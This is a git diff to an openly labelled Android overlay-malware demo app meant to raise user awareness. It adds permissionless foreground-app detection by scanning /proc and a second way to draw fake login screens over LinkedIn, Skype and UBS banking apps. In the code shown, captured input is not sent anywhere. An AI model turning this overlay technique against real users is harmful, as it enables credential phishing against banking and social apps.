diff --git a/README.md b/README.md
index e2be563..7422a90 100644
--- a/README.md
+++ b/README.md
@@ -2,16 +2,28 @@
Harmless Android malware using the overlay technique to steal user credentials.
-> **UPDATE** starting with Android 5.1 the [ActivityManager.getRunningAppProcess](http://developer.android.com/reference/android/app/ActivityManager.html#getRunningAppProcesses) API don't return all processes running on the system anymore. We moved to Usage Stats API which requires the user to enable this permission manually. If you want to test on this version you need to enable the application via Settings -> Security -> Apps with usage access
+> **UPDATE** starting with Android 5.1 the [ActivityManager.getRunningAppProcess](http://developer.android.com/reference/android/app/ActivityManager.html#getRunningAppProcesses) API don't return all processes running on the system anymore. We moved to a more *naive* solution which doesn't require any permissions, for more information [press here](http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag).
## Disclamier
This software is intended to sensitize users to this kind of attacks.
Don't use it for any other purposes!
+## Quick Start
+In the main screen you can select which application are going to be overlayed (currently between Linkedin, Skype, and UBS Mobile App).
+Furthermore you can choose the type of overlay between:
+* View overlay with `WindowsManager.addView`
+* Activity overlay with `startActivity`
+
+The application has been tested on Nexus 5 with Android 6 (Real device) and Nexus 5X with Android 4.4.2 (Emulator).
+
+For more background information about overlays please check our [last blog post](http://www.geeksonsecurity.com/android-overlay-malware/2016/07/27/android-overlay-malware-analysis/).
+
## Some screenshots
### Home Screen
+
### Skype Overlay
+
### UBS Overlay
diff --git a/android-overlay-malware-example.iml b/android-overlay-malware-example.iml
index 6e1b7d4..11cd8cc 100644
--- a/android-overlay-malware-example.iml
+++ b/android-overlay-malware-example.iml
@@ -13,7 +13,7 @@
-
+
\ No newline at end of file
diff --git a/app/app.iml b/app/app.iml
index 9cbcc9f..97cdd29 100644
--- a/app/app.iml
+++ b/app/app.iml
@@ -12,10 +12,7 @@
-
-
- generateDebugAndroidTestSources
generateDebugSources
@@ -28,7 +25,7 @@
-
+
@@ -50,6 +47,15 @@
+
+
+
+
+
+
+
+
+
@@ -57,6 +63,7 @@
+
@@ -64,27 +71,39 @@
+
+
+
+
+
+
+
+
+
+
+
-
-
-
-
-
-
-
+
+
+
+
+
+
-
-
+
+
+
+
diff --git a/app/build.gradle b/app/build.gradle
index fd84a2c..c462bd1 100644
--- a/app/build.gradle
+++ b/app/build.gradle
@@ -8,8 +8,8 @@ android {
applicationId "com.geeksonsecurity.malwaredemo"
minSdkVersion 14
targetSdkVersion 22
- versionCode 1
- versionName "1.0"
+ versionCode 2
+ versionName "1.1"
}
buildTypes {
diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml
index 371ba9e..36e7dc5 100644
--- a/app/src/main/AndroidManifest.xml
+++ b/app/src/main/AndroidManifest.xml
@@ -6,7 +6,6 @@
-
+ android:theme="@android:style/Theme.Black">
+
+ android:label="@string/app_name"
+ android:launchMode="singleTop"
+ android:screenOrientation="portrait"
+ android:theme="@style/Theme.AppCompat">
+
detectionEngineArrayAdapter = new ArrayAdapter<>(this,
+ android.R.layout.simple_list_item_1, OverlayType.values());
+ overlayTypeSpinner.setAdapter(detectionEngineArrayAdapter);
+ overlayTypeSpinner.setSelection(detectionEngineArrayAdapter.getPosition(s.getOverlayType()));
+
TextView footer = (TextView) findViewById(R.id.footer);
footer.setText(Html.fromHtml(getString(R.string.footer)));
}
@@ -66,9 +80,4 @@ private void startService() {
Intent intent = new Intent(this, MainService.class);
startService(intent);
}
-
- private void stopService() {
- Intent intent = new Intent(this, MainService.class);
- stopService(intent);
- }
}
\ No newline at end of file
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/MainService.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/MainService.java
index 308f517..7e6094e 100644
--- a/app/src/main/java/com/geeksonsecurity/malwaredemo/MainService.java
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/MainService.java
@@ -2,14 +2,13 @@
import android.app.ActivityManager;
import android.app.Service;
-import android.app.usage.UsageStats;
-import android.app.usage.UsageStatsManager;
+import android.content.Context;
import android.content.Intent;
import android.content.res.Configuration;
import android.graphics.PixelFormat;
-import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
+import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager;
@@ -17,24 +16,25 @@
import android.widget.Toast;
import com.geeksonsecurity.malwaredemo.domain.MonitoredProcess;
+import com.geeksonsecurity.malwaredemo.domain.OverlayType;
import com.geeksonsecurity.malwaredemo.domain.Settings;
-import java.util.List;
-import java.util.SortedMap;
import java.util.Timer;
import java.util.TimerTask;
-import java.util.TreeMap;
public class MainService extends Service {
- Timer _timer;
- ForegroundAppTimerTask _checkForegroundAppTimerTask;
- Handler _handler;
+ private static final String TAG = MainService.class.getSimpleName();
+
+ private Timer _timer;
+ private ForegroundAppTimerTask _checkForegroundAppTimerTask;
+ private Handler _handler;
public WindowManager _windowManager;
private Settings _settings;
private boolean _isOverlayActive;
private MonitoredProcess _lastInjectedProcess = MonitoredProcess.NONE;
+ private ProcessHelper _processHelper;
private void runOnUiThread(Runnable runnable) {
_handler.post(runnable);
@@ -45,38 +45,10 @@ public IBinder onBind(Intent i) {
return null;
}
- private String getProcessName() {
- String foregroundProcess = "";
- ActivityManager activityManager = (ActivityManager) getApplicationContext().getSystemService(ACTIVITY_SERVICE);
- // Process running
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
- UsageStatsManager mUsageStatsManager = (UsageStatsManager)getSystemService(USAGE_STATS_SERVICE);
- long time = System.currentTimeMillis();
- // We get usage stats for the last 10 seconds
- List stats = mUsageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, time - 1000*10, time);
- // Sort the stats by the last time used
- if(stats != null) {
- SortedMap mySortedMap = new TreeMap();
- for (UsageStats usageStats : stats) {
- mySortedMap.put(usageStats.getLastTimeUsed(),usageStats);
- }
- if(mySortedMap != null && !mySortedMap.isEmpty()) {
- String topPackageName = mySortedMap.get(mySortedMap.lastKey()).getPackageName();
- foregroundProcess = topPackageName;
- }
- }
- } else {
- @SuppressWarnings("deprecation") ActivityManager.RunningTaskInfo foregroundTaskInfo = activityManager.getRunningTasks(1).get(0);
- foregroundProcess = foregroundTaskInfo.topActivity.getPackageName();
-
- }
- return foregroundProcess;
- }
-
public void timerCheckForegroundApp() {
_timer = new Timer();
_checkForegroundAppTimerTask = new ForegroundAppTimerTask();
- _timer.schedule(_checkForegroundAppTimerTask, 0, 60);
+ _timer.schedule(_checkForegroundAppTimerTask, 0, 500);
}
class ForegroundAppTimerTask extends TimerTask {
@@ -87,7 +59,7 @@ public ForegroundAppTimerTask() {
@Override
public void run() {
- String packageName = getProcessName();
+ String packageName = _processHelper.getForegroundApp();
if (!_isOverlayActive) {
if (packageName.startsWith("com.linkedin") && _settings.isLinkedinEnabled()) {
@@ -110,50 +82,58 @@ private void injectView(final MonitoredProcess process) {
runOnUiThread(new Runnable() {
@Override
public void run() {
- final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
- WindowManager.LayoutParams.MATCH_PARENT,
- WindowManager.LayoutParams.MATCH_PARENT,
- WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
- WindowManager.LayoutParams.FLAG_FULLSCREEN,
- PixelFormat.TRANSLUCENT);
-
- LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
-
- View mainView = null;
-
- switch (process) {
- case LINKEDIN:
- mainView = li.inflate(R.layout.linkedin_overlay, null);
- break;
- case SKYPE:
- mainView = li.inflate(R.layout.skype_overlay, null);
- break;
- case UBS:
- mainView = li.inflate(R.layout.ubs_overlay, null);
- break;
+ Log.d(TAG, "Injecting view into " + process);
+ if (_settings.getOverlayType() == OverlayType.ACTIVITY) {
+ Intent intent = new Intent((Context) getApplicationContext(), OverlayActivity.class);
+ intent.putExtra("package", process);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ startActivity(intent);
+ } else {
+ final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.MATCH_PARENT,
+ WindowManager.LayoutParams.MATCH_PARENT,
+ WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
+ WindowManager.LayoutParams.FLAG_FULLSCREEN,
+ PixelFormat.TRANSLUCENT);
+
+ LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
+
+ View mainView = null;
+
+ switch (process) {
+ case LINKEDIN:
+ mainView = li.inflate(R.layout.linkedin_overlay, null);
+ break;
+ case SKYPE:
+ mainView = li.inflate(R.layout.skype_overlay, null);
+ break;
+ case UBS:
+ mainView = li.inflate(R.layout.ubs_overlay, null);
+ break;
- }
+ }
- if (mainView == null) {
- _isOverlayActive = false;
- return;
- }
+ if (mainView == null) {
+ _isOverlayActive = false;
+ return;
+ }
- Button submitButton = (Button) mainView.findViewById(R.id.submit);
+ Button submitButton = (Button) mainView.findViewById(R.id.submit);
- final View finalMainView = mainView;
+ final View finalMainView = mainView;
- submitButton.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View view) {
- Toast.makeText(getApplicationContext(), "Thanks for giving your credentials to the malware, but don't worry the credentials are still safe!", Toast.LENGTH_SHORT).show();
- _windowManager.removeViewImmediate(finalMainView);
- _isOverlayActive = false;
- _lastInjectedProcess = process;
- }
- });
+ submitButton.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View view) {
+ Toast.makeText(getApplicationContext(), "Thanks for giving your credentials to the malware, but don't worry the credentials are still safe!", Toast.LENGTH_SHORT).show();
+ _windowManager.removeViewImmediate(finalMainView);
+ _isOverlayActive = false;
+ _lastInjectedProcess = process;
+ }
+ });
- _windowManager.addView(finalMainView, params);
+ _windowManager.addView(finalMainView, params);
+ }
}
});
}
@@ -164,6 +144,8 @@ public void onCreate() {
super.onCreate();
_handler = new Handler();
_windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
+ ActivityManager activityManager = (ActivityManager) getApplicationContext().getSystemService(ACTIVITY_SERVICE);
+ _processHelper = new ProcessHelper(activityManager);
timerCheckForegroundApp();
}
@@ -181,8 +163,22 @@ public void onConfigurationChanged(Configuration newConfig) {
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
+
_settings = Settings.Load(getApplicationContext());
+
+ if (null != intent) {
+ if (intent.getAction() != null) {
+ Log.i(TAG, "Received intent action " + intent.getAction());
+ if (intent.getAction().equals(ServiceCommunication.UPDATE_SETTINGS)) {
+ Log.i(TAG, "Settings updated!");
+ Log.i(TAG, "Current settings: " + _settings.toString());
+ _settings = Settings.Load(getApplicationContext());
+ } else if (intent.getAction().equals(ServiceCommunication.STOP_OVERLAY)) {
+ _isOverlayActive = false;
+ Log.i(TAG, "Activity overlay flag reset!");
+ }
+ }
+ }
return START_STICKY;
}
-
}
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/OverlayActivity.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/OverlayActivity.java
new file mode 100644
index 0000000..adf9d03
--- /dev/null
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/OverlayActivity.java
@@ -0,0 +1,30 @@
+package com.geeksonsecurity.malwaredemo;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+import android.widget.Toast;
+
+public class OverlayActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.linkedin_overlay);
+
+ Button submitButton = (Button) findViewById(R.id.submit);
+
+ submitButton.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View view) {
+ Toast.makeText(getApplicationContext(), "Thanks for giving your credentials to the malware, but don't worry the credentials are still safe!", Toast.LENGTH_SHORT).show();
+ Intent intent = new Intent(getApplicationContext(), MainService.class);
+ intent.setAction(ServiceCommunication.STOP_OVERLAY);
+ startService(intent);
+ finish();
+ }
+ });
+ }
+}
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/ProcessHelper.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/ProcessHelper.java
new file mode 100644
index 0000000..edf6d56
--- /dev/null
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/ProcessHelper.java
@@ -0,0 +1,132 @@
+package com.geeksonsecurity.malwaredemo;
+
+import android.app.ActivityManager;
+import android.os.Build;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.IOException;
+
+
+/**
+ * Based on http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
+ */
+public class ProcessHelper {
+
+ /** first app user */
+ public static final int AID_APP = 10000;
+
+ /** offset for uid ranges for each user */
+ public static final int AID_USER = 100000;
+ private ActivityManager _activityManager;
+
+ public ProcessHelper(ActivityManager activityManager) {
+ _activityManager = activityManager;
+ }
+
+ public String getForegroundApp() {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
+ @SuppressWarnings("deprecation") ActivityManager.RunningTaskInfo foregroundTaskInfo = _activityManager.getRunningTasks(1).get(0);
+ return foregroundTaskInfo.topActivity.getPackageName();
+ } else {
+ File[] files = new File("/proc").listFiles();
+ int lowestOomScore = Integer.MAX_VALUE;
+ String foregroundProcess = null;
+
+ for (File file : files) {
+ if (!file.isDirectory()) {
+ continue;
+ }
+
+ int pid;
+ try {
+ pid = Integer.parseInt(file.getName());
+ } catch (NumberFormatException e) {
+ continue;
+ }
+
+ try {
+ String cgroup = read(String.format("/proc/%d/cgroup", pid));
+
+ String[] lines = cgroup.split("\n");
+
+ if (lines.length != 2) {
+ continue;
+ }
+
+ String cpuSubsystem = lines[0];
+ String cpuaccctSubsystem = lines[1];
+
+ if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) {
+ // not an application process
+ continue;
+ }
+
+ if (cpuSubsystem.endsWith("bg_non_interactive")) {
+ // background policy
+ continue;
+ }
+
+ String cmdline = read(String.format("/proc/%d/cmdline", pid));
+
+ if (cmdline.contains("com.android.systemui")) {
+ continue;
+ }
+
+ int uid = Integer.parseInt(
+ cpuaccctSubsystem.split(":")[2].split("/")[1].replace("uid_", ""));
+ if (uid >= 1000 && uid <= 1038) {
+ // system process
+ continue;
+ }
+
+ int appId = uid - AID_APP;
+ int userId = 0;
+ // loop until we get the correct user id.
+ // 100000 is the offset for each user.
+ while (appId > AID_USER) {
+ appId -= AID_USER;
+ userId++;
+ }
+
+ if (appId < 0) {
+ continue;
+ }
+
+ // u{user_id}_a{app_id} is used on API 17+ for multiple user account support.
+ // String uidName = String.format("u%d_a%d", userId, appId);
+
+ File oomScoreAdj = new File(String.format("/proc/%d/oom_score_adj", pid));
+ if (oomScoreAdj.canRead()) {
+ int oomAdj = Integer.parseInt(read(oomScoreAdj.getAbsolutePath()));
+ if (oomAdj != 0) {
+ continue;
+ }
+ }
+
+ int oomscore = Integer.parseInt(read(String.format("/proc/%d/oom_score", pid)));
+ if (oomscore < lowestOomScore) {
+ lowestOomScore = oomscore;
+ foregroundProcess = cmdline;
+ }
+
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ return foregroundProcess;
+ }
+ }
+
+ private static String read(String path) throws IOException {
+ StringBuilder output = new StringBuilder();
+ BufferedReader reader = new BufferedReader(new FileReader(path));
+ output.append(reader.readLine());
+ for (String line = reader.readLine(); line != null; line = reader.readLine()) {
+ output.append('\n').append(line);
+ }
+ reader.close();
+ return output.toString();
+ }
+}
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/ServiceCommunication.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/ServiceCommunication.java
new file mode 100644
index 0000000..acf6af5
--- /dev/null
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/ServiceCommunication.java
@@ -0,0 +1,6 @@
+package com.geeksonsecurity.malwaredemo;
+
+public class ServiceCommunication {
+ public static final String UPDATE_SETTINGS = "MD_UPDATE_SETTINGS";
+ public static final String STOP_OVERLAY = "MD_STOP_OVERLAY";
+}
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/OverlayType.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/OverlayType.java
new file mode 100644
index 0000000..889cc9a
--- /dev/null
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/OverlayType.java
@@ -0,0 +1,21 @@
+package com.geeksonsecurity.malwaredemo.domain;
+
+public enum OverlayType {
+
+ // Uses WindowManager.AddView
+ VIEW("View Injection"),
+ // Start a dedicated activity for the overlay
+ ACTIVITY("Activity Injection");
+
+ private String _name;
+
+ OverlayType(String name) {
+ _name = name;
+ }
+
+ @Override
+ public String toString() {
+ return _name;
+ }
+
+}
diff --git a/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/Settings.java b/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/Settings.java
index e0ec25d..abaabfd 100644
--- a/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/Settings.java
+++ b/app/src/main/java/com/geeksonsecurity/malwaredemo/domain/Settings.java
@@ -15,6 +15,7 @@ public class Settings {
private boolean _ubsEnabled = true;
private boolean _skypeEnabled = true;
+ private OverlayType _overlayType = OverlayType.VIEW;
public Settings() {
}
@@ -60,4 +61,23 @@ public static void Save(Context ctx, Settings s) {
edit.putString(SETTINGS_KEY, json);
edit.commit();
}
+
+ public OverlayType getOverlayType() {
+ return _overlayType;
+ }
+
+ public void setOverlayType(OverlayType overlayType) {
+ this._overlayType = overlayType;
+ }
+
+ @Override
+ public String toString() {
+ return "Settings{" +
+ "_linkedinEnabled=" + _linkedinEnabled +
+ ", _ubsEnabled=" + _ubsEnabled +
+ ", _skypeEnabled=" + _skypeEnabled +
+ ", _overlayType=" + _overlayType +
+ '}';
+ }
+
}
diff --git a/app/src/main/res/drawable/dialog_full_holo_light.9.png b/app/src/main/res/drawable/dialog_full_holo_light.9.png
new file mode 100644
index 0000000..a101590
Binary files /dev/null and b/app/src/main/res/drawable/dialog_full_holo_light.9.png differ
diff --git a/app/src/main/res/layout/linkedin_overlay.xml b/app/src/main/res/layout/linkedin_overlay.xml
index fad3e58..46dee5b 100644
--- a/app/src/main/res/layout/linkedin_overlay.xml
+++ b/app/src/main/res/layout/linkedin_overlay.xml
@@ -1,10 +1,9 @@
diff --git a/app/src/main/res/layout/main.xml b/app/src/main/res/layout/main.xml
index 2deb679..496de84 100644
--- a/app/src/main/res/layout/main.xml
+++ b/app/src/main/res/layout/main.xml
@@ -51,6 +51,17 @@
android:layout_height="wrap_content"
android:text="UBS Banking" />
+
+
+